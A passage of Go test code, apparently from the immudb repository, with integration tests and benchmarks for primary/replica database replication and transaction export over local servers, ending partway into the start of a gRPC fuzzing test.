&schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tPrimaryPassword: &schema.NullableString{Value: \"replicator1Pwd!\"},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"replicadb\")\n\trequire.NoError(t, err)\n\n\tt.Run(\"key1 should not exist\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorContains(t, err, embedded.ErrKeyNotFound.Error())\n\t})\n\n\t_, err = primaryClient.Set(context.Background(), []byte(\"key1\"), []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t_, err = primaryClient.Set(context.Background(), []byte(\"key2\"), []byte(\"value2\"))\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\tt.Run(\"key1 should exist in replicadb@replica\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t})\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tt.Run(\"key1 should not exist in defaultdb@replica\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorContains(t, err, embedded.ErrKeyNotFound.Error())\n\t})\n\n\tfor i := 0; i < 100; i++ {\n\t\t_, err = primaryClient.Set(context.Background(), []byte(\"key1\"), make([]byte, 150))\n\t\trequire.NoError(t, err)\n\t}\n\n\t// create database as replica in replica server\n\t_, err = replicaClient.CreateDatabaseV2(context.Background(), \"replicadb2\", &schema.DatabaseNullableSettings{\n\t\tMaxValueLen: &schema.NullableUint32{Value: 100},\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\tSyncReplication: &schema.NullableBool{Value: false},\n\t\t\tPrimaryDatabase: &schema.NullableString{Value: \"primarydb\"},\n\t\t\tPrimaryHost:     &schema.NullableString{Value: \"127.0.0.1\"},\n\t\t\tPrimaryPort:     &schema.NullableUint32{Value: uint32(primaryPort)},\n\t\t\tPrimaryUsername: &schema.NullableString{Value: \"replicator\"},\n\t\t\tPrimaryPassword: &schema.NullableString{Value: \"replicator1Pwd!\"},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(3 * time.Second)\n\n\tprimaryServer.Stop()\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\ttime.Sleep(3 * time.Second)\n\n\treplicaServer.Stop()\n}\n\nfunc TestAsyncReplication(t *testing.T) {\n\t//init primary server\n\tprimaryDir := t.TempDir()\n\n\tprimaryServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(true).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithPProf(true).\n\t\tWithDir(primaryDir)\n\n\tprimaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer)\n\n\terr := primaryServer.Initialize()\n\trequire.NoError(t, err)\n\n\t//init replica server\n\treplicaDir := t.TempDir()\n\n\treplicaServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(replicaDir)\n\n\treplicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer)\n\n\terr = replicaServer.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\tprimaryServer.Start()\n\t}()\n\n\tgo func() {\n\t\treplicaServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\t// init primary client\n\tprimaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port\n\n\tprimaryOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(primaryPort)\n\n\tprimaryClient := ic.NewClient().WithOptions(primaryOpts)\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t// create database as primarydb in primary server\n\t_, err = primaryClient.CreateDatabaseV2(context.Background(), \"primarydb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tSyncReplication: &schema.NullableBool{Value: false},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: 0},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\terr = primaryClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"primarydb\")\n\trequire.NoError(t, err)\n\n\tdefer primaryClient.CloseSession(context.Background())\n\n\terr = primaryClient.CreateUser(context.Background(), []byte(\"replicator\"), []byte(\"replicator1Pwd!\"), auth.PermissionAdmin, \"primarydb\")\n\trequire.NoError(t, err)\n\n\terr = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: \"replicator\"})\n\trequire.NoError(t, err)\n\n\t// init replica client\n\treplicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port\n\n\treplicaOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(replicaPort)\n\n\treplicaClient := ic.NewClient().WithOptions(replicaOpts)\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t// create database as replica in replica server\n\t_, err = replicaClient.CreateDatabaseV2(context.Background(), \"replicadb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\tSyncReplication: &schema.NullableBool{Value: false},\n\t\t\tPrimaryDatabase: &schema.NullableString{Value: \"primarydb\"},\n\t\t\tPrimaryHost:     &schema.NullableString{Value: \"127.0.0.1\"},\n\t\t\tPrimaryPort:     &schema.NullableUint32{Value: uint32(primaryPort)},\n\t\t\tPrimaryUsername: &schema.NullableString{Value: \"replicator\"},\n\t\t\tPrimaryPassword: &schema.NullableString{Value: \"replicator1Pwd!\"},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"replicadb\")\n\trequire.NoError(t, err)\n\n\tkeyCount := 100\n\n\tfor i := 0; i < keyCount; i++ {\n\t\tei := keyCount + i\n\n\t\t_, err = primaryClient.Set(context.Background(), []byte(fmt.Sprintf(\"key%d\", ei)), []byte(fmt.Sprintf(\"value%d\", ei)))\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = primaryClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\ttime.Sleep(5 * time.Second)\n\n\t// keys should exist in replicadb@replica\"\n\tfor i := 0; i < keyCount; i++ {\n\t\tei := keyCount + i\n\n\t\t_, err = replicaClient.Get(context.Background(), []byte(fmt.Sprintf(\"key%d\", ei)))\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\treplicaServer.Stop()\n\tprimaryServer.Stop()\n}\n\nfunc TestReplicationTxDiscarding(t *testing.T) {\n\t//init primary server\n\tprimaryDir := t.TempDir()\n\n\tprimaryServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(primaryDir)\n\n\tprimaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer)\n\n\terr := primaryServer.Initialize()\n\trequire.NoError(t, err)\n\n\t//init replica server\n\treplicaDir := t.TempDir()\n\n\treplicaServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(replicaDir)\n\n\treplicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer)\n\n\terr = replicaServer.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\tprimaryServer.Start()\n\t}()\n\n\tgo func() {\n\t\treplicaServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\t// init primary client\n\tprimaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port\n\n\tprimaryOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(primaryPort)\n\n\tprimaryClient := ic.NewClient().WithOptions(primaryOpts)\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t// create database as primarydb in primary server\n\t_, err = primaryClient.CreateDatabaseV2(context.Background(), \"primarydb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tSyncReplication: &schema.NullableBool{Value: true},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: 1},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\terr = primaryClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"primarydb\")\n\trequire.NoError(t, err)\n\n\tdefer primaryClient.CloseSession(context.Background())\n\n\terr = primaryClient.CreateUser(context.Background(), []byte(\"replicator\"), []byte(\"replicator1Pwd!\"), auth.PermissionAdmin, \"primarydb\")\n\trequire.NoError(t, err)\n\n\terr = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: \"replicator\"})\n\trequire.NoError(t, err)\n\n\t// init replica client\n\treplicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port\n\n\treplicaOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(replicaPort)\n\n\treplicaClient := ic.NewClient().WithOptions(replicaOpts)\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t_, err = replicaClient.CreateDatabaseV2(context.Background(), \"replicadb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: false},\n\t\t\tSyncReplication: &schema.NullableBool{Value: true},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: 1},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"replicadb\")\n\trequire.NoError(t, err)\n\n\tctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)\n\tdefer cancel()\n\n\t_, err = replicaClient.Set(ctx, []byte(\"key1\"), []byte(\"value1\"))\n\trequire.Error(t, err)\n\n\t_, err = replicaClient.UpdateDatabaseV2(context.Background(), \"replicadb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:           &schema.NullableBool{Value: true},\n\t\t\tSyncReplication:   &schema.NullableBool{Value: true},\n\t\t\tAllowTxDiscarding: &schema.NullableBool{Value: false},\n\t\t\tPrimaryDatabase:   &schema.NullableString{Value: \"primarydb\"},\n\t\t\tPrimaryHost:       &schema.NullableString{Value: \"127.0.0.1\"},\n\t\t\tPrimaryPort:       &schema.NullableUint32{Value: uint32(primaryPort)},\n\t\t\tPrimaryUsername:   &schema.NullableString{Value: \"replicator\"},\n\t\t\tPrimaryPassword:   &schema.NullableString{Value: \"replicator1Pwd!\"},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\t_, err = replicaClient.UpdateDatabaseV2(context.Background(), \"replicadb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tAllowTxDiscarding: &schema.NullableBool{Value: true},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\tt.Run(\"key1 should not exist\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorContains(t, err, embedded.ErrKeyNotFound.Error())\n\t})\n\n\t_, err = primaryClient.Set(context.Background(), []byte(\"key11\"), []byte(\"value11\"))\n\trequire.NoError(t, err)\n\n\ttime.Sleep(5 * time.Second)\n\n\tt.Run(\"key1 should exist in replicadb@replica\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key11\"))\n\t\trequire.NoError(t, err)\n\t})\n\n\terr = replicaClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = primaryClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\treplicaServer.Stop()\n\tprimaryServer.Stop()\n}\n\nfunc TestSystemDBAndDefaultDBReplication(t *testing.T) {\n\t// init primary server\n\tprimaryDir := t.TempDir()\n\n\tprimaryServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(primaryDir)\n\n\tprimaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer)\n\n\terr := primaryServer.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\tprimaryServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\tdefer primaryServer.Stop()\n\n\t// init primary client\n\tprimaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port\n\n\tprimaryClientOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(primaryPort)\n\n\tprimaryClient := ic.NewClient().WithOptions(primaryClientOpts)\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tdefer primaryClient.CloseSession(context.Background())\n\n\t// init replica server\n\treplicaDir := t.TempDir()\n\n\treplicationOpts := &server.ReplicationOptions{\n\t\tIsReplica:                    true,\n\t\tPrimaryHost:                  \"127.0.0.1\",\n\t\tPrimaryPort:                  primaryPort,\n\t\tPrimaryUsername:              \"immudb\",\n\t\tPrimaryPassword:              \"immudb\",\n\t\tPrefetchTxBufferSize:         100,\n\t\tReplicationCommitConcurrency: 1,\n\t}\n\n\treplicaServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(replicaDir).\n\t\tWithReplicationOptions(replicationOpts)\n\n\treplicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer)\n\n\terr = replicaServer.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\treplicaServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\tdefer replicaServer.Stop()\n\n\t// init replica client\n\treplicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port\n\n\treplicaClientOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(replicaPort)\n\n\treplicaClient := ic.NewClient().WithOptions(replicaClientOpts)\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tdefer replicaClient.CloseSession(context.Background())\n\n\tt.Run(\"key1 should not exist\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.ErrorContains(t, err, embedded.ErrKeyNotFound.Error())\n\t})\n\n\t_, err = primaryClient.Set(context.Background(), []byte(\"key1\"), []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\ttime.Sleep(5 * time.Second)\n\n\tt.Run(\"key1 should exist in replicateddb@replica\", func(t *testing.T) {\n\t\t_, err = replicaClient.Get(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\t})\n\n\t_, err = replicaClient.Set(context.Background(), []byte(\"key2\"), []byte(\"value2\"))\n\trequire.ErrorContains(t, err, database.ErrIsReplica.Error())\n}\n\nfunc BenchmarkExportTx(b *testing.B) {\n\t//init  server\n\tserverOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithMaxRecvMsgSize(204939000).\n\t\tWithSynced(false).\n\t\tWithDir(b.TempDir())\n\n\tserverOpts.SessionsOptions.WithMaxSessions(200)\n\n\tsrv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\t// init primary client\n\tport := srv.Listener.Addr().(*net.TCPAddr).Port\n\n\topts := ic.DefaultOptions().\n\t\tWithDir(b.TempDir()).\n\t\tWithPort(port)\n\n\tclient := ic.NewClient().WithOptions(opts)\n\n\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// create database as primarydb in primary server\n\t_, err = client.CreateDatabaseV2(context.Background(), \"db1\", &schema.DatabaseNullableSettings{\n\t\tMaxConcurrency: &schema.NullableUint32{Value: 200},\n\t\tVLogCacheSize:  &schema.NullableUint32{Value: 0}, // disable vLogCache\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = client.CloseSession(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"db1\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer client.CloseSession(context.Background())\n\n\t// commit some transactions\n\tworkers := 10\n\ttxsPerWorker := 100\n\tentriesPerTx := 100\n\tkeyLen := 40\n\tvalLen := 256\n\n\tkvs := make([]*schema.KeyValue, entriesPerTx)\n\n\tfor i := 0; i < entriesPerTx; i++ {\n\t\tkvs[i] = &schema.KeyValue{\n\t\t\tKey:   make([]byte, keyLen),\n\t\t\tValue: make([]byte, valLen),\n\t\t}\n\n\t\tbinary.BigEndian.PutUint64(kvs[i].Key, uint64(i))\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(workers)\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo func() {\n\t\t\tfor j := 0; j < txsPerWorker; j++ {\n\t\t\t\t_, err := client.SetAll(context.Background(), &schema.SetRequest{\n\t\t\t\t\tKVs: kvs,\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twg.Done()\n\t\t}()\n\t}\n\n\twg.Wait()\n\n\treplicators := 1\n\ttxsPerReplicator := workers * txsPerWorker / replicators\n\n\tclientReplicators := make([]ic.ImmuClient, replicators)\n\n\tfor r := 0; r < replicators; r++ {\n\t\topts := ic.DefaultOptions().\n\t\t\tWithDir(b.TempDir()).\n\t\t\tWithPort(port)\n\n\t\tclient := ic.NewClient().WithOptions(opts)\n\n\t\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"db1\")\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tdefer client.CloseSession(context.Background())\n\n\t\tclientReplicators[r] = client\n\t}\n\n\tstreamServiceFactory := stream.NewStreamServiceFactory(replication.DefaultChunkSize)\n\n\tb.ResetTimer()\n\n\t// measure exportTx performance\n\tfor i := 0; i < b.N; i++ {\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(replicators)\n\n\t\tfor r := 0; r < replicators; r++ {\n\t\t\tgo func(r int) {\n\t\t\t\tdefer wg.Done()\n\n\t\t\t\tclient := clientReplicators[r]\n\n\t\t\t\tfor tx := 1; tx <= txsPerReplicator; tx++ {\n\t\t\t\t\texportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{\n\t\t\t\t\t\tTx:                 uint64(1 + r*txsPerReplicator + tx),\n\t\t\t\t\t\tAllowPreCommitted:  false,\n\t\t\t\t\t\tSkipIntegrityCheck: true,\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\treceiver := streamServiceFactory.NewMsgReceiver(exportTxStream)\n\t\t\t\t\t_, _, err = receiver.ReadFully()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}(r)\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n\nfunc BenchmarkStreamExportTx(b *testing.B) {\n\t//init  server\n\tserverOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithMaxRecvMsgSize(204939000).\n\t\tWithSynced(false).\n\t\tWithDir(b.TempDir())\n\n\tserverOpts.SessionsOptions.WithMaxSessions(200)\n\n\tsrv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer)\n\n\terr := srv.Initialize()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgo func() {\n\t\tsrv.Start()\n\t}()\n\n\tdefer func() {\n\t\tsrv.Stop()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\t// init primary client\n\tport := srv.Listener.Addr().(*net.TCPAddr).Port\n\n\topts := ic.DefaultOptions().\n\t\tWithDir(b.TempDir()).\n\t\tWithPort(port)\n\n\tclient := ic.NewClient().WithOptions(opts)\n\n\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// create database as primarydb in primary server\n\t_, err = client.CreateDatabaseV2(context.Background(), \"db1\", &schema.DatabaseNullableSettings{\n\t\tMaxConcurrency: &schema.NullableUint32{Value: 200},\n\t\tVLogCacheSize:  &schema.NullableUint32{Value: 0}, // disable vLogCache\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = client.CloseSession(context.Background())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"db1\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer client.CloseSession(context.Background())\n\n\t// commit some transactions\n\tworkers := 10\n\ttxsPerWorker := 100\n\tentriesPerTx := 100\n\tkeyLen := 40\n\tvalLen := 256\n\n\tkvs := make([]*schema.KeyValue, entriesPerTx)\n\n\tfor i := 0; i < entriesPerTx; i++ {\n\t\tkvs[i] = &schema.KeyValue{\n\t\t\tKey:   make([]byte, keyLen),\n\t\t\tValue: make([]byte, valLen),\n\t\t}\n\n\t\tbinary.BigEndian.PutUint64(kvs[i].Key, uint64(i))\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(workers)\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo func() {\n\t\t\tfor j := 0; j < txsPerWorker; j++ {\n\t\t\t\t_, err := client.SetAll(context.Background(), &schema.SetRequest{\n\t\t\t\t\tKVs: kvs,\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twg.Done()\n\t\t}()\n\t}\n\n\twg.Wait()\n\n\treplicators := 1\n\ttxsPerReplicator := workers * txsPerWorker / replicators\n\n\tclientReplicators := make([]ic.ImmuClient, replicators)\n\n\tfor r := 0; r < replicators; r++ {\n\t\topts := ic.DefaultOptions().\n\t\t\tWithDir(b.TempDir()).\n\t\t\tWithPort(port)\n\n\t\tclient := ic.NewClient().WithOptions(opts)\n\n\t\terr = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"db1\")\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tdefer client.CloseSession(context.Background())\n\n\t\tclientReplicators[r] = client\n\t}\n\n\tb.ResetTimer()\n\n\t// measure exportTx performance\n\tfor i := 0; i < b.N; i++ {\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(replicators)\n\n\t\tfor r := 0; r < replicators; r++ {\n\t\t\tgo func(r int) {\n\t\t\t\tdefer wg.Done()\n\n\t\t\t\tclient := clientReplicators[r]\n\n\t\t\t\tstreamExportTxClient, err := client.StreamExportTx(context.Background())\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\n\t\t\t\tstreamSrvFactory := stream.NewStreamServiceFactory(opts.StreamChunkSize)\n\t\t\t\texportTxStreamReceiver := streamSrvFactory.NewMsgReceiver(streamExportTxClient)\n\n\t\t\t\tdoneCh := make(chan struct{})\n\t\t\t\trecvTxCount := 0\n\n\t\t\t\tgo func() {\n\t\t\t\t\tfor {\n\t\t\t\t\t\t_, _, err := exportTxStreamReceiver.ReadFully()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tif strings.Contains(err.Error(), \"EOF\") {\n\t\t\t\t\t\t\t\tdoneCh <- struct{}{}\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trecvTxCount++\n\t\t\t\t\t}\n\t\t\t\t}()\n\n\t\t\t\tfor tx := 1; tx <= txsPerReplicator; tx++ {\n\t\t\t\t\terr = streamExportTxClient.Send(&schema.ExportTxRequest{\n\t\t\t\t\t\tTx:                 uint64(1 + r*txsPerReplicator + tx),\n\t\t\t\t\t\tAllowPreCommitted:  false,\n\t\t\t\t\t\tSkipIntegrityCheck: true,\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\terr = streamExportTxClient.CloseSend()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\n\t\t\t\t<-doneCh\n\n\t\t\t\tif recvTxCount != txsPerReplicator {\n\t\t\t\t\tpanic(\"recvTxCount != txsPerReplicator\")\n\t\t\t\t}\n\t\t\t}(r)\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n"
  },
  {
    "path": "pkg/integration/fuzzing/grpc_fuzz_test.go",
    "content": "//go:build go1.18\n// +build go1.18\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fuzzing\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nconst (\n\trequestExecAll = 0\n\trequestSet     = 1\n)\n\nfunc addCorpus(f *testing.F, request byte, msg proto.Message) {\n\tb, err := proto.Marshal(msg)\n\trequire.NoError(f, err)\n\tf.Add(append([]byte{request}, b...))\n}\n\nfunc FuzzGRPCProtocol(f *testing.F) {\n\toptions := server.DefaultOptions().WithDir(f.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tclientOpts := immudb.\n\t\tDefaultOptions().\n\t\tWithDir(f.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())})\n\tclient := immudb.NewClient().WithOptions(clientOpts)\n\n\terr := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(f, err)\n\n\t// Add few execall requests\n\taddCorpus(f, requestExecAll, &schema.ExecAllRequest{Operations: []*schema.Op{{\n\t\tOperation: &schema.Op_Kv{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\tValue: []byte(\"value\"),\n\t\t\t},\n\t\t},\n\t}}})\n\taddCorpus(f, requestExecAll, &schema.ExecAllRequest{Operations: []*schema.Op{{\n\t\tOperation: &schema.Op_Ref{\n\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\tKey:           []byte(\"ref\"),\n\t\t\t\tReferencedKey: 